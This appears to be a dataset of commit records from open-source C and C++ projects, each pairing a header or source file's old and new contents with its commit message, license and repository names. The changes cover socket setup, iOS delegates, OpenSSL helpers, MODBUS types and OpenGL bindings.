/* * sockcreate.h * Copyright (C) 2009 Palo Alto Research Center, Inc. All rights reserved. */ struct sockaddr_storage; struct sockaddr; /** * Holds a pair of socket file descriptors. * * Some platfoms/modes of operations require separate sockets for sending * and receiving, so we accomodate that with this pairing. It is fine for * the two file descriptors to be the same. */ struct ccn_sockets { int recving; int sending; // flags? }; struct ccn_sockdescr { int ipproto; /**< as per http://www.iana.org/assignments/protocol-numbers - should match IPPROTO_* in system headers */ const char *address; /**< acceptable to getaddrinfo */ const char *port; /**< service name or number */ const char *source_address; /**< may be needed for multicast */ int ttl; /**< may be needed for multicast */ }; /** * Utility for setting up a socket (or pair of sockets) from a text-based * description. * * @param * @param logger should be used for reporting errors, printf-style * @param logdat must be passed as first argument to logger() * @param socks should be filled in with the pair of socket file descriptors * @returns 0 for success, -1 for error */ int ccn_setup_socket(const struct ccn_sockdescr *descr, (logger*)(void *, const char *, ...), void *logdat, struct ccn_sockets *socks);
Introduce header for doing socket setup (useful for multicast).
Introduce header for doing socket setup (useful for multicast).
C
lgpl-2.1
cawka/ndnx,svartika/ccnx,cawka/ndnx,cawka/ndnx,cawka/ndnx,svartika/ccnx,ebollens/ccnmp,svartika/ccnx,cawka/ndnx,ebollens/ccnmp,svartika/ccnx,ebollens/ccnmp,ebollens/ccnmp,svartika/ccnx,svartika/ccnx,svartika/ccnx
7d024fbf8348d0e5979c51641a5eec857a0c01e0
iOS/PlayPlan/Main/MainViewController.h
iOS/PlayPlan/Main/MainViewController.h
// // ViewController.h // PlayPlan // // Created by Zeacone on 15/10/25. // Copyright © 2015年 Zeacone. All rights reserved. // #import <UIKit/UIKit.h> #import <Accelerate/Accelerate.h> #import "PlayPlan.h" #import "SideMenu.h" @interface MainViewController : UIViewController <UITableViewDelegate, UITableViewDataSource> @end
// // ViewController.h // PlayPlan // // Created by Zeacone on 15/10/25. // Copyright © 2015年 Zeacone. All rights reserved. // #import <UIKit/UIKit.h> #import <Accelerate/Accelerate.h> #import "PlayPlan.h" #import "SideMenu.h" @class MainViewController; @protocol MainDelegate <NSObject> - (void)dismissViewController:(MainViewController *)mainViewController; @end @interface MainViewController : UIViewController <UITableViewDelegate, UITableViewDataSource> @property (nonatomic, assign) id<MainDelegate> delegate; @end
Add delegate for main view controller.
Add delegate for main view controller.
C
mit
Zeacone/PlayPlan,Zeacone/PlayPlan
3e26416dfc0cbfe6db4d07fb0564300ab538a3cc
folly/io/async/ssl/OpenSSLTransportCertificate.h
folly/io/async/ssl/OpenSSLTransportCertificate.h
/* * Copyright (c) Facebook, Inc. and its affiliates. * * Licensed under the Apache License, Version 2.0 (the "License"); * you may not use this file except in compliance with the License. * You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. */ #pragma once #include <folly/io/async/AsyncTransportCertificate.h> #include <folly/portability/OpenSSL.h> #include <folly/ssl/OpenSSLPtrTypes.h> namespace folly { /** * Generic interface applications may implement to convey self or peer * certificate related information. */ class OpenSSLTransportCertificate : public AsyncTransportCertificate { public: virtual ~OpenSSLTransportCertificate() = default; // TODO: Once all callsites using getX509() perform dynamic casts to this // OpenSSLTransportCertificate type, we can move that method to be declared // here instead. }; } // namespace folly
/* * Copyright (c) Facebook, Inc. and its affiliates. * * Licensed under the Apache License, Version 2.0 (the "License"); * you may not use this file except in compliance with the License. * You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. */ #pragma once #include <folly/io/async/AsyncTransportCertificate.h> #include <folly/portability/OpenSSL.h> #include <folly/ssl/OpenSSLPtrTypes.h> namespace folly { /** * Generic interface applications may implement to convey self or peer * certificate related information. */ class OpenSSLTransportCertificate : public AsyncTransportCertificate { public: virtual ~OpenSSLTransportCertificate() = default; // TODO: Once all callsites using getX509() perform dynamic casts to this // OpenSSLTransportCertificate type, we can move that method to be declared // here instead. static ssl::X509UniquePtr tryExtractX509( const AsyncTransportCertificate* cert) { auto opensslCert = dynamic_cast<const OpenSSLTransportCertificate*>(cert); return opensslCert ? opensslCert->getX509() : nullptr; } }; } // namespace folly
Add static helper to extract X509 from cert
Add static helper to extract X509 from cert Summary: Since callsites wanting an X509 from an AsyncTransportCertificate will have to perform a dynamic cast to an OpenSSLTransportCertificiate, we might as well abstract that away into a static helper. This makes it potentially a bit easier to change implementation details in the future without having to update a bunch of existing callsites (and it hides the ugliness of the dynamic cast). Reviewed By: yfeldblum, mingtaoy Differential Revision: D31358948 fbshipit-source-id: 9ed2f81db4cf746a83871961895a0c1f1fb5c297
C
apache-2.0
facebook/folly,facebook/folly,facebook/folly,facebook/folly,facebook/folly
dc429dd18745437590ab54bb6041490b86bfb543
source/Pictus/imagecache_fileentry.h
source/Pictus/imagecache_fileentry.h
#ifndef PICTUS_IMAGECACHE_FILEENTRY_H #define PICTUS_IMAGECACHE_FILEENTRY_H #include "illa/image.h" #include "orz/types.h" #include <boost/date_time.hpp> #if _WIN32 #define ENABLE_CREATED_TIME #endif namespace Img { namespace Internal { class FileEntry { public: Img::Image::Ptr Image(); const std::string& Name() const; void Rename(const std::string& newName); std::time_t DateModified(); std::time_t DateCreated(); std::time_t FileSize(); FileEntry(std::string fullname); private: void QueryFile(); Img::Image::Ptr m_image; std::string m_fullname; #ifdef ENABLE_CREATED_TIME std::time_t m_dateCreate; #endif std::time_t m_dateModified; bool m_hasQueriedFile; uintmax_t m_fileSize; }; } } #endif
#ifndef PICTUS_IMAGECACHE_FILEENTRY_H #define PICTUS_IMAGECACHE_FILEENTRY_H #include "illa/image.h" #include "orz/types.h" #include <boost/date_time.hpp> #if _WIN32 #define ENABLE_CREATED_TIME #endif namespace Img { namespace Internal { class FileEntry { public: Img::Image::Ptr Image(); const std::string& Name() const; void Rename(const std::string& newName); std::time_t DateModified(); std::time_t DateCreated(); FileInt FileSize(); FileEntry(std::string fullname); private: void QueryFile(); Img::Image::Ptr m_image; std::string m_fullname; #ifdef ENABLE_CREATED_TIME std::time_t m_dateCreate; #endif std::time_t m_dateModified; bool m_hasQueriedFile; uintmax_t m_fileSize; }; } } #endif
Use correct data type for file size
Use correct data type for file size
C
mit
poppeman/Pictus,poppeman/Pictus,poppeman/Pictus
47d66020e838b170d10e4e081c8592d2ec3816c4
test_case.h
test_case.h
#ifndef TEST_CASE_H #define TEST_CASE_H namespace fs_testing { class test_case { public: virtual ~test_case() {}; virtual int setup() = 0; virtual int run() = 0; virtual int check_test() = 0; }; typedef test_case* create_t(); typedef void destroy_t(test_case*); } // namespace fs_testing #endif
#ifndef TEST_CASE_H #define TEST_CASE_H namespace fs_testing { class test_case { public: virtual ~test_case() {}; virtual int setup() = 0; virtual int run() = 0; virtual int check_test() = 0; }; typedef test_case* test_create_t(); typedef void test_destroy_t(test_case*); } // namespace fs_testing #endif
Modify to work with dynamic class loader class.
Modify to work with dynamic class loader class.
C
apache-2.0
utsaslab/crashmonkey,utsaslab/crashmonkey,utsaslab/crashmonkey,utsaslab/crashmonkey
ed7d196ea8ad39186c5fedd21e3a3c135027bc01
master/types.h
master/types.h
//Declarations for master types typedef enum { Register = 0 } MODBUSDataType; //MODBUS data types enum (coil, register, input, etc.) typedef struct { uint8_t Address; //Device address uint8_t Function; //Function called, in which exception occured uint8_t Code; //Exception code } MODBUSExceptionLog; //Parsed exception data typedef struct { uint8_t Address; //Device address MODBUSDataType DataType; //Data type uint16_t Register; //Register, coil, input ID uint16_t Value; //Value of data } MODBUSData; typedef struct { uint8_t Length; //Length of frame, if it's equal to 0, frame is not ready uint8_t *Frame; //Request frame content } MODBUSRequestStatus; //Type containing information about frame that is set up at master side typedef struct { MODBUSData *Data; //Data read from slave MODBUSExceptionLog Exception; //Optional exception read MODBUSRequestStatus Request; //Formatted request for slave uint8_t DataLength; //Count of data type instances read from slave uint8_t Error; //Have any error occured? } MODBUSMasterStatus; //Type containing master device configuration data
//Declarations for master types typedef enum { Register = 0 } MODBUSDataType; //MODBUS data types enum (coil, register, input, etc.) typedef struct { uint8_t Address; //Device address uint8_t Function; //Function called, in which exception occured uint8_t Code; //Exception code } MODBUSExceptionLog; //Parsed exception data typedef struct { uint8_t Address; //Device address MODBUSDataType DataType; //Data type uint16_t Register; //Register, coil, input ID uint16_t Value; //Value of data } MODBUSData; typedef struct { uint8_t Length; //Length of frame, if it's equal to 0, frame is not ready uint8_t *Frame; //Request frame content } MODBUSRequestStatus; //Type containing information about frame that is set up at master side typedef struct { MODBUSData *Data; //Data read from slave MODBUSExceptionLog Exception; //Optional exception read MODBUSRequestStatus Request; //Formatted request for slave uint8_t DataLength; //Count of data type instances read from slave uint8_t Error; //Have any error occured? uint8_t Finished; //Is parsing finished? } MODBUSMasterStatus; //Type containing master device configuration data
Add new member in MODBUSMasterStatus
Add new member in MODBUSMasterStatus
C
mit
Jacajack/modlib
472c3832f55fc92d866aaafe1ff78e6c548c1bd5
core/editline/src/rlcurses.h
core/editline/src/rlcurses.h
// @(#)root/editline:$Id$ // Author: Axel Naumann, 2009 /************************************************************************* * Copyright (C) 1995-2009, Rene Brun and Fons Rademakers. * * All rights reserved. * * * * For the licensing terms see $ROOTSYS/LICENSE. * * For the list of contributors see $ROOTSYS/README/CREDITS. * *************************************************************************/ #ifdef __sun # include R__CURSESHDR extern "C" { // cannot #include term.fH because it #defines move() etc char *tparm(char*, long, long, long, long, long, long, long, long, long); char *tigetstr(char*); char *tgoto(char*, int, int); int tputs(char*, int, int (*)(int)); int tgetflag(char*); int tgetnum(char*); char* tgetstr(char*, char**); int tgetent(char*, const char*); } // un-be-lievable. # undef erase # undef move # undef clear # undef del # undef key_end # undef key_clear # undef key_print #else # include R__CURSESHDR # include <termcap.h> # include <termcap.h> extern "C" int setupterm(const char* term, int fd, int* perrcode); #endif
// @(#)root/editline:$Id$ // Author: Axel Naumann, 2009 /************************************************************************* * Copyright (C) 1995-2009, Rene Brun and Fons Rademakers. * * All rights reserved. * * * * For the licensing terms see $ROOTSYS/LICENSE. * * For the list of contributors see $ROOTSYS/README/CREDITS. * *************************************************************************/ #ifdef __sun # include R__CURSESHDR extern "C" { // cannot #include term.h because it #defines move() etc char *tparm(char*, long, long, long, long, long, long, long, long, long); char *tigetstr(char*); int tigetnum(char*); char *tgoto(char*, int, int); int tputs(char*, int, int (*)(int)); int tgetflag(char*); int tgetnum(char*); char* tgetstr(char*, char**); int tgetent(char*, const char*); } // un-be-lievable. # undef erase # undef move # undef clear # undef del # undef key_end # undef key_clear # undef key_print #else # include R__CURSESHDR # include <termcap.h> # include <termcap.h> extern "C" int setupterm(const char* term, int fd, int* perrcode); #endif
Fix for solaris: declare tigetnum
Fix for solaris: declare tigetnum git-svn-id: ecbadac9c76e8cf640a0bca86f6bd796c98521e3@30238 27541ba8-7e3a-0410-8455-c3a389f83636
C
lgpl-2.1
bbannier/ROOT,dawehner/root,dawehner/root,dawehner/root,dawehner/root,bbannier/ROOT,bbannier/ROOT,bbannier/ROOT,bbannier/ROOT,bbannier/ROOT,dawehner/root,dawehner/root,bbannier/ROOT,dawehner/root,dawehner/root
f2dc5111e65e46a2f7f34fc0117d015749558ec9
TDTChocolate/FoundationAdditions/NSProcessInfo+TDTEnvironmentDetection.h
TDTChocolate/FoundationAdditions/NSProcessInfo+TDTEnvironmentDetection.h
#import <Foundation/Foundation.h> @interface NSProcessInfo (TDTEnvironmentDetection) /** Determine if the current process is running inside a unit test context. Use case: When running unit tests on iOS, it is not necessary to fully initialize the application. The following check can be used to return early in the application launch process: \code - (BOOL)application:(UIApplication *)app didFinishLaunchingWithOptions:(id)options { #ifdef DEBUG if ([[NSProcessInfo processInfo] isRunningTests]) return YES; #endif ... return YES; } \endcode @return YES if the process has been invoked to run the XCTest bundle. */ @property (nonatomic, readonly) BOOL tdt_isRunningTests; /** Determine if a debugger is attached to the current process. This can help decide, for example, whether to redirect standard error (and hence, everything logged by @p TDTLog) to a file. Usually, when a process is attached to a debugger, you do not want to redirect standard error. Source: Technical Q&A QA1361 "Detecting the Debugger" @note This method relies on a public but unstable Apple API. It should not be used in a release build. */ - (BOOL)tdt_isDebugged; @end
#import <Foundation/Foundation.h> @interface NSProcessInfo (TDTEnvironmentDetection) /** Determine if the current process is running inside a unit test context. Use case: When running unit tests on iOS, it is not necessary to fully initialize the application. The following check can be used to return early in the application launch process: \code - (BOOL)application:(UIApplication *)app didFinishLaunchingWithOptions:(id)options { #ifdef DEBUG if ([[NSProcessInfo processInfo] tdt_isRunningTests]) return YES; #endif ... return YES; } \endcode @return YES if the process has been invoked to run the XCTest bundle. */ @property (nonatomic, readonly) BOOL tdt_isRunningTests; /** Determine if a debugger is attached to the current process. This can help decide, for example, whether to redirect standard error (and hence, everything logged by @p TDTLog) to a file. Usually, when a process is attached to a debugger, you do not want to redirect standard error. Source: Technical Q&A QA1361 "Detecting the Debugger" @note This method relies on a public but unstable Apple API. It should not be used in a release build. */ - (BOOL)tdt_isDebugged; @end
Update method name in documentation
Update method name in documentation
C
bsd-3-clause
talk-to/Chocolate,talk-to/Chocolate
ac9a5b3f4fb6037e3c75440a22cdda23776bd053
extensions/ringopengl/ring_opengl21.c
extensions/ringopengl/ring_opengl21.c
#include "ring.h" /* OpenGL 2.1 Extension Copyright (c) 2017 Mahmoud Fayed <[email protected]> */ #include <GL/glew.h> #include <GL/glut.h> RING_FUNC(ring_glAccum) { if ( RING_API_PARACOUNT != 2 ) { RING_API_ERROR(RING_API_MISS2PARA); return ; } if ( ! RING_API_ISNUMBER(1) ) { RING_API_ERROR(RING_API_BADPARATYPE); return ; } if ( ! RING_API_ISNUMBER(2) ) { RING_API_ERROR(RING_API_BADPARATYPE); return ; } glAccum( (GLenum ) (int) RING_API_GETNUMBER(1), (GLfloat ) RING_API_GETNUMBER(2)); } RING_API void ringlib_init(RingState *pRingState) { ring_vm_funcregister("glaccum",ring_glAccum); }
#include "ring.h" /* OpenGL 2.1 Extension Copyright (c) 2017 Mahmoud Fayed <[email protected]> */ #include <GL/glew.h> #include <GL/glut.h> RING_FUNC(ring_glAccum) { if ( RING_API_PARACOUNT != 2 ) { RING_API_ERROR(RING_API_MISS2PARA); return ; } if ( ! RING_API_ISNUMBER(1) ) { RING_API_ERROR(RING_API_BADPARATYPE); return ; } if ( ! RING_API_ISNUMBER(2) ) { RING_API_ERROR(RING_API_BADPARATYPE); return ; } glAccum( (GLenum ) (int) RING_API_GETNUMBER(1), (GLfloat ) RING_API_GETNUMBER(2)); } RING_FUNC(ring_glActiveTexture) { if ( RING_API_PARACOUNT != 1 ) { RING_API_ERROR(RING_API_MISS1PARA); return ; } if ( ! RING_API_ISNUMBER(1) ) { RING_API_ERROR(RING_API_BADPARATYPE); return ; } glActiveTexture( (GLenum ) (int) RING_API_GETNUMBER(1)); } RING_API void ringlib_init(RingState *pRingState) { ring_vm_funcregister("glaccum",ring_glAccum); ring_vm_funcregister("glactivetexture",ring_glActiveTexture); }
Update RingOpenGL - Add Function (Source Code) : void glActiveTexture(GLenum texture)
Update RingOpenGL - Add Function (Source Code) : void glActiveTexture(GLenum texture)
C
mit
ring-lang/ring,ring-lang/ring,ring-lang/ring,ring-lang/ring,ring-lang/ring,ring-lang/ring,ring-lang/ring,ring-lang/ring
9e2cb080cae3cf4d0df9ac48ea342daa3590bca9
include/dynamicsJRLJapan/GeometricData.h
include/dynamicsJRLJapan/GeometricData.h
/*! \file GeometricData.h Geometric data for robots when available. Copyright (c) 2010 @author Olivier Stasse JRL-Japan, CNRS/AIST All rights reserved. Please see License.txt for more informations on the license related to this software. */ #ifndef _DYNAMICS_JRL_JAPAN_GEOMETRIC_DATA_H_ #define _DYNAMICS_JRL_GEOMETRIC_DATA_H_ #if defined (WIN32) # ifdef dynamicsJRLJapan_EXPORTS # define DYN_JRL_JAPAN_EXPORT __declspec(dllexport) # else # define DYN_JRL_JAPAN_EXPORT __declspec(dllimport) # endif #else # define DYN_JRL_JAPAN_EXPORT #endif #include <vector> #include <string> #include <MatrixAbstractLayer/MatrixAbstractLayer.h> #include "robotDynamics/jrlHumanoidDynamicRobot.h" #include "robotDynamics/jrlRobotDynamicsObjectConstructor.h" namespace dynamicsJRLJapan { namespace Geometry { struct DYN_JRL_JAPAN_EXPORT Material { float ambientIntensity; float diffuseColor[3]; float emissiveColor[3]; float specularColor[3]; float shininess[3]; float transparency; Material(): ambientIntensity(0.2), diffuseColor({0.8,0.8,0.8}), emissiveColor({0.0,0.0,0.0}), shininess({0.2}), specularColor({0.0,0.0,0.0}), transparency({0}) {}; }; struct DYN_JRL_JAPAN_EXPORT Texture { std::string FileName; } struct DYN_JRL_JAPAN_EXPORT TextureTransform { float center[2]; float rotation; float scale[2]; float translation[2]; TextureTransform(): center({0.0,0.0}), rotation(0), scale({1.0,1.0}), translation({0.0,0.0}) {}; } class DYN_JRL_JAPAN_EXPORT Appearance { private: Material m_Material; Texture m_Texture; TextureTransform m_TextureTransform; public: Appearance(); ~Appearance(); /*! \name Setter and getters @{ */ void setMaterial(Material &aMaterial); const Material &getMaterial() const; void setTexture(Texture &aTexture); const Texture &getTexture() const; void setTextureTransform(TextureTransform &aTexture); const TextureTransform &getTextureTransform() const; /*! @} */ }; class DYN_JRL_JAPAN_EXPORT Shape { }; }; }; #endif /*! _DYNAMICS_JRL_GEOMETRIC_DATA_H_ */
Add reading of geometrical parts.
Add reading of geometrical parts. Not yet doing something useful with it. GeometricData will store the geometric information. We are moving slowly to openvrml...
C
isc
jrl-umi3218/jrl-dynamics,jrl-umi3218/jrl-dynamics
043f57e09b031bc53b4e2b0837f2d272da8717b5
include/canvas/renderer/pipeline_builder.h
include/canvas/renderer/pipeline_builder.h
#pragma once #include <nucleus/optional.h> #include "canvas/renderer/pipeline.h" #include "canvas/renderer/vertex_definition.h" #include "canvas/utils/shader_source.h" namespace ca { class Renderer; class PipelineBuilder { public: explicit PipelineBuilder(Renderer* renderer); PipelineBuilder& attribute(nu::StringView name, ComponentType type, ComponentCount component_count); PipelineBuilder& vertex_shader(ShaderSource source); PipelineBuilder& geometry_shader(ShaderSource source); PipelineBuilder& fragment_shader(ShaderSource source); NU_NO_DISCARD nu::Optional<Pipeline> build() const; private: Renderer* renderer_; VertexDefinition vertex_definition_; nu::Optional<ShaderSource> vertex_shader_; nu::Optional<ShaderSource> geometry_shader_; nu::Optional<ShaderSource> fragment_shader_; }; } // namespace ca
#pragma once #include <nucleus/optional.hpp> #include "canvas/renderer/pipeline.h" #include "canvas/renderer/vertex_definition.h" #include "canvas/utils/shader_source.h" namespace ca { class Renderer; class PipelineBuilder { public: explicit PipelineBuilder(Renderer* renderer); PipelineBuilder& attribute(nu::StringView name, ComponentType type, ComponentCount component_count); PipelineBuilder& vertex_shader(ShaderSource source); PipelineBuilder& geometry_shader(ShaderSource source); PipelineBuilder& fragment_shader(ShaderSource source); NU_NO_DISCARD nu::Optional<Pipeline> build() const; private: Renderer* renderer_; VertexDefinition vertex_definition_; nu::Optional<ShaderSource> vertex_shader_; nu::Optional<ShaderSource> geometry_shader_; nu::Optional<ShaderSource> fragment_shader_; }; } // namespace ca
Fix compilation error with improved Optional.
Fix compilation error with improved Optional.
C
mit
tiaanl/canvas,tiaanl/canvas,tiaanl/canvas
e9fbbe52f18826d5e44aaf596a59439cab4f4c60
test/CodeGen/2008-07-31-asm-labels.c
test/CodeGen/2008-07-31-asm-labels.c
// RUN: %clang_cc1 -emit-llvm -o %t %s // RUN: not grep "@pipe()" %t // RUN: grep '_thisIsNotAPipe' %t | count 3 // RUN: not grep 'g0' %t // RUN: grep '_renamed' %t | count 2 // RUN: %clang_cc1 -DUSE_DEF -emit-llvm -o %t %s // RUN: not grep "@pipe()" %t // RUN: grep '_thisIsNotAPipe' %t | count 3 // <rdr://6116729> void pipe() asm("_thisIsNotAPipe"); void f0() { pipe(); } void pipe(int); void f1() { pipe(1); } #ifdef USE_DEF void pipe(int arg) { int x = 10; } #endif // PR3698 extern int g0 asm("_renamed"); int f2() { return g0; }
// RUN: %clang_cc1 -emit-llvm -o %t %s // RUN: not grep "@pipe()" %t // RUN: grep '_thisIsNotAPipe' %t | count 3 // RUN: not grep '@g0' %t // RUN: grep '_renamed' %t | count 2 // RUN: %clang_cc1 -DUSE_DEF -emit-llvm -o %t %s // RUN: not grep "@pipe()" %t // RUN: grep '_thisIsNotAPipe' %t | count 3 // <rdr://6116729> void pipe() asm("_thisIsNotAPipe"); void f0() { pipe(); } void pipe(int); void f1() { pipe(1); } #ifdef USE_DEF void pipe(int arg) { int x = 10; } #endif // PR3698 extern int g0 asm("_renamed"); int f2() { return g0; }
Fix asm label testcase flaw
Fix asm label testcase flaw - Testcase attempts to (not) grep 'g0' in output to ensure asm symbol is properly renamed, but g0 is too generic and can be part of the module's path in LLVM IR output. - Changed to grep '@g0', which is what the proper global symbol name would be if not using asm. git-svn-id: ffe668792ed300d6c2daa1f6eba2e0aa28d7ec6c@338895 91177308-0d34-0410-b5e6-96231b3b80d8
C
apache-2.0
llvm-mirror/clang,llvm-mirror/clang,apple/swift-clang,apple/swift-clang,llvm-mirror/clang,apple/swift-clang,llvm-mirror/clang,llvm-mirror/clang,llvm-mirror/clang,apple/swift-clang,llvm-mirror/clang,apple/swift-clang,apple/swift-clang,apple/swift-clang,llvm-mirror/clang,apple/swift-clang,llvm-mirror/clang,llvm-mirror/clang,apple/swift-clang,apple/swift-clang
978e37fa01132c6378622931651da7926ef4c344
efisame.c
efisame.c
#include <efivar.h> #include <stdio.h> #include <stdlib.h> int main() { efi_guid_t guid = EFI_GLOBAL_GUID; const char* name = "BootCurrent"; uint8_t *data; size_t data_size; uint32_t attr; int res = efi_get_variable(guid, name, &data, &data_size, &attr); if (res < 0) { perror("efi_get_variable"); exit(1); } printf("data_size: %zu\n", data_size); return 0; }
Add sample code to get efivar
Add sample code to get efivar
C
mit
dtzWill/efi-same
e0a8fa29f6868596c9153775e17bbe1fed219835
tests/regression/02-base/33-assert-infinite-loop.c
tests/regression/02-base/33-assert-infinite-loop.c
// PARAM: --sets solver td3 --enable ana.int.interval --disable ana.int.def_exc --set ana.activated "['base']" // This is a pattern we saw in some examples for SVCOMP, where instead of the assert(0) there was a call to verifier error. // Because of the demand-driven nature of our solvers, we never looked at the code inside fail since there is no edge from the loop to the endpoint of f. // However, the assert(0) (verifier error) is still rechable from main. void f(void) { fail: assert(0); //FAIL goto fail; } int main(void) { int top; if(top) { f(); } }
Add example containing infinite loop with assert
Add example containing infinite loop with assert This is a pattern we saw in some examples for SVCOMP, where instead of the assert(0) there was a call to verifier error. Because of the demand-driven nature of our solvers, we never looked at the code inside fail since there is no edge from the loop to the endpoint of f. However, the assert(0) (verifier error) is still rechable from main.
C
mit
goblint/analyzer,goblint/analyzer,goblint/analyzer,goblint/analyzer,goblint/analyzer
60b9d099416283d5f13f19fc19a5e7c20fe012e2
You-DataStore/datastore.h
You-DataStore/datastore.h
#pragma once #ifndef YOU_DATASTORE_DATASTORE_H_ #define YOU_DATASTORE_DATASTORE_H_ #include <memory> #include "task_typedefs.h" #include "transaction.h" namespace You { namespace DataStore { namespace UnitTests {} class DataStore { public: Transaction && begin(); // Modifying methods void post(TaskId, SerializedTask&); void put(TaskId, SerializedTask&); void erase(TaskId); std::vector<SerializedTask> getAllTask(); private: static DataStore& get(); bool isServing = false; }; } // namespace DataStore } // namespace You #endif // YOU_DATASTORE_DATASTORE_H_
#pragma once #ifndef YOU_DATASTORE_DATASTORE_H_ #define YOU_DATASTORE_DATASTORE_H_ #include <memory> #include "task_typedefs.h" #include "transaction.h" namespace You { namespace DataStore { namespace UnitTests {} class DataStore { public: Transaction && begin(); static DataStore& get(); // Modifying methods void post(TaskId, SerializedTask&); void put(TaskId, SerializedTask&); void erase(TaskId); std::vector<SerializedTask> getAllTask(); private: bool isServing = false; }; } // namespace DataStore } // namespace You #endif // YOU_DATASTORE_DATASTORE_H_
Modify the instance getter of DataStore to public
Modify the instance getter of DataStore to public
C
mit
cs2103aug2014-w10-1c/main,cs2103aug2014-w10-1c/main
ee4c2a98030ca0aae12a474b3ebde34d5a55c53d
libevmjit-cpp/JitVM.h
libevmjit-cpp/JitVM.h
#pragma once #include <libevm/VMFace.h> #include <evmjit/libevmjit/ExecutionEngine.h> namespace dev { namespace eth { class JitVM: public VMFace { public: virtual bytesConstRef execImpl(u256& io_gas, ExtVMFace& _ext, OnOpFunc const& _onOp = {}, uint64_t _steps = (uint64_t)-1) override final; private: jit::RuntimeData m_data; jit::ExecutionEngine m_engine; std::unique_ptr<VMFace> m_fallbackVM; ///< VM used in case of input data rejected by JIT }; } }
#pragma once #include <libevm/VMFace.h> #include <evmjit/libevmjit/ExecutionEngine.h> namespace dev { namespace eth { class JitVM: public VMFace { public: virtual bytesConstRef execImpl(u256& io_gas, ExtVMFace& _ext, OnOpFunc const& _onOp, uint64_t _steps) override final; private: jit::RuntimeData m_data; jit::ExecutionEngine m_engine; std::unique_ptr<VMFace> m_fallbackVM; ///< VM used in case of input data rejected by JIT }; } }
Change the way execution results are collected.
Change the way execution results are collected. Changes handling ExecutionResult by Executive. From now execution results are collected on if a storage for results (ExecutionResult) is provided to an Executiove instance up front. This change allow better output management for calls - VM interface improved.
C
mit
ethcore/evmjit,debris/evmjit,ethcore/evmjit,debris/evmjit
42f453c38a1dd6c14aaf9cd655034d258c9ae931
lib/ext/digest/defs.h
lib/ext/digest/defs.h
/* -*- C -*- * $Id: defs.h 11708 2007-02-12 23:01:19Z shyouhei $ */ #ifndef DIGEST_DEFS_H #define DIGEST_DEFS_H #include "ruby.h" #include <sys/types.h> #include <sys/cdefs.h> /* * #if defined(HAVE_SYS_CDEFS_H) * # include <sys/cdefs.h> * #endif * #if !defined(__BEGIN_DECLS) * # define __BEGIN_DECLS * # define __END_DECLS * #endif */ #include <inttypes.h> /* * #if defined(HAVE_INTTYPES_H) * # include <inttypes.h> * #elif !defined __CYGWIN__ || !defined __uint8_t_defined * typedef unsigned char uint8_t; * typedef unsigned int uint32_t; * # if SIZEOF_LONG == 8 * typedef unsigned long uint64_t; * # elif SIZEOF_LONG_LONG == 8 * typedef unsigned LONG_LONG uint64_t; * # else * # define NO_UINT64_T * # endif * #endif */ #endif /* DIGEST_DEFS_H */
/* -*- C -*- * $Id: defs.h 11708 2007-02-12 23:01:19Z shyouhei $ */ #ifndef DIGEST_DEFS_H #define DIGEST_DEFS_H #include "ruby.h" #include <sys/types.h> #include <sys/cdefs.h> /* * #if defined(HAVE_SYS_CDEFS_H) * # include <sys/cdefs.h> * #endif * #if !defined(__BEGIN_DECLS) * # define __BEGIN_DECLS * # define __END_DECLS * #endif */ #include <inttypes.h> /* * #if defined(HAVE_INTTYPES_H) * # include <inttypes.h> * #elif !defined __CYGWIN__ || !defined __uint8_t_defined * typedef unsigned char uint8_t; * typedef unsigned int uint32_t; * # if SIZEOF_LONG == 8 * typedef unsigned long uint64_t; * # elif SIZEOF_LONG_LONG == 8 * typedef unsigned LONG_LONG uint64_t; * # else * # define NO_UINT64_T * # endif * #endif */ /* Define if processor uses big-endian word */ /* #ifdef __BIG_ENDIAN__ #define WORDS_BIGENDIAN #else */ /* !__BIG_ENDIAN__ */ /* #undef WORDS_BIGENDIAN */ /* #endif */ /* __BIG_ENDIAN__ */ #endif /* DIGEST_DEFS_H */
Fix Digest failures on OSX PPC (big endian) systems
Fix Digest failures on OSX PPC (big endian) systems - add some tests to defs.h to check for the existence of the __BIG_ENDIAN__ macro which is available on POSIX systems. If it is defined, we define the WORDS_BIGENDIAN macro which is tested by the digest/**/*.c files to activate special code for byte reordering Signed-off-by: Brian Ford <[email protected]>
C
bsd-3-clause
heftig/rubinius,mlarraz/rubinius,sferik/rubinius,lgierth/rubinius,jemc/rubinius,kachick/rubinius,travis-repos/rubinius,pH14/rubinius,jemc/rubinius,Wirachmat/rubinius,ngpestelos/rubinius,slawosz/rubinius,Azizou/rubinius,travis-repos/rubinius,pH14/rubinius,digitalextremist/rubinius,digitalextremist/rubinius,jemc/rubinius,jsyeo/rubinius,pH14/rubinius,chad/rubinius,sferik/rubinius,Wirachmat/rubinius,heftig/rubinius,benlovell/rubinius,Wirachmat/rubinius,pH14/rubinius,chad/rubinius,benlovell/rubinius,benlovell/rubinius,Wirachmat/rubinius,heftig/rubinius,ruipserra/rubinius,ngpestelos/rubinius,kachick/rubinius,dblock/rubinius,kachick/rubinius,chad/rubinius,jemc/rubinius,mlarraz/rubinius,lgierth/rubinius,kachick/rubinius,slawosz/rubinius,Wirachmat/rubinius,sferik/rubinius,slawosz/rubinius,Azizou/rubinius,ngpestelos/rubinius,heftig/rubinius,ngpestelos/rubinius,sferik/rubinius,benlovell/rubinius,kachick/rubinius,mlarraz/rubinius,digitalextremist/rubinius,chad/rubinius,slawosz/rubinius,dblock/rubinius,ruipserra/rubinius,slawosz/rubinius,kachick/rubinius,ruipserra/rubinius,kachick/rubinius,jsyeo/rubinius,benlovell/rubinius,dblock/rubinius,dblock/rubinius,digitalextremist/rubinius,chad/rubinius,lgierth/rubinius,pH14/rubinius,dblock/rubinius,chad/rubinius,chad/rubinius,mlarraz/rubinius,lgierth/rubinius,lgierth/rubinius,digitalextremist/rubinius,travis-repos/rubinius,Wirachmat/rubinius,benlovell/rubinius,jemc/rubinius,jsyeo/rubinius,jemc/rubinius,lgierth/rubinius,heftig/rubinius,sferik/rubinius,jemc/rubinius,chad/rubinius,travis-repos/rubinius,Azizou/rubinius,jsyeo/rubin